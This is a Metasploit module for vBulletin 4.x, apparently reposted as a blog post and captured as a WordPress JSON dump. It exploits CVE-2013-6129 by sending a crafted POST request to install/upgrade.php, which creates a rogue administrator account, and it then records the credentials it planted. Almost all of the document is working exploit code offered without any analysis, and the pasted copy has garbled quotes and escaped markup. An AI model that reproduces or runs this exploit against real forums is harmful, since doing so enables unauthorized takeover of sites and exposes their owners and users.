##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘vBulletin Administrator Account Creation’,
‘Description’ => %q{
This module abuses the “install\/upgrade.php” component on vBulletin 4.1+ and 4.5+ to
create a new administrator account, as exploited in the wild on October 2013. This module
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
},
‘Author’ => [
‘Unknown’, # Vulnerability discoverer? found in the wild
‘juan vazquez’ # metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[ ‘CVE’, ‘2013-6129’ ],
[ ‘URL’, ‘http:\/\/blog.imperva.com\/2013\/10\/threat-advisory-a-vbulletin-exploit-administrator-injection.html’],
[ ‘OSVDB’, ‘98370’ ],
[ ‘URL’, ‘http:\/\/www.vbulletin.com\/forum\/forum\/vbulletin-announcements\/vbulletin-announcements_aa\/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5’]],
‘DisclosureDate’ => ‘2013-10-09’
)
)<\/p>\n
register_options(
[
OptString.new(‘TARGETURI’, [ true, ‘The vbulletin URI’, ‘\/’]),
OptString.new(‘USERNAME’, [true, ‘The username for the new admin account’, ‘msf’]),
OptString.new(‘PASSWORD’, [true, ‘The password for the new admin account’, ‘password’]),
OptString.new(‘EMAIL’, [true, ‘The email for the new admin account’, ‘msf@email.loc’])
])
end<\/p>\n
def user
datastore[‘USERNAME’]end<\/p>\n
def pass
datastore[‘PASSWORD’]end<\/p>\n
def run
if user == pass
print_error(‘Please select a password different than the username’)
return
end<\/p>\n
print_status(‘Trying a new admin vBulletin account…’)<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘install’, ‘upgrade.php’),
‘method’ => ‘POST’,
‘vars_post’ => {
‘version’ => ‘install’,
‘response’ => ‘true’,
‘checktable’ => ‘false’,
‘firstrun’ => ‘false’,
‘step’ => ‘7’,
‘startat’ => ‘0’,
‘only’ => ‘false’,
‘options[skiptemplatemerge]’ => ‘0’,
‘reponse’ => ‘yes’,
‘htmlsubmit’ => ‘1’,
‘htmldata[username]’ => user,
‘htmldata[password]’ => pass,
‘htmldata[confirmpassword]’ => pass,
‘htmldata[email]’ => datastore[‘EMAIL’]},
‘headers’ => {
‘X-Requested-With’ => ‘XMLHttpRequest’
}
})<\/p>\n
if res && (res.code == 200) && res.body =~ (\/Administrator account created\/)
print_good(“Admin account with credentials #{user}:#{pass} successfully created”)
connection_details = {
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
}.merge(service_details)
create_credential_and_login(connection_details)
else
print_error(‘Admin account creation failed’)
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,‘Name’ => ‘vBulletin Administrator Account Creation’,‘Description’ => %q{This module abuses the “install\/upgrade.php” component on vBulletin 4.1+ and 4.5+ tocreate a new administrator account, as exploited in the wild on October 2013. This modulehas been tested successfully on …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59305","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59305"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59305\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59305"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}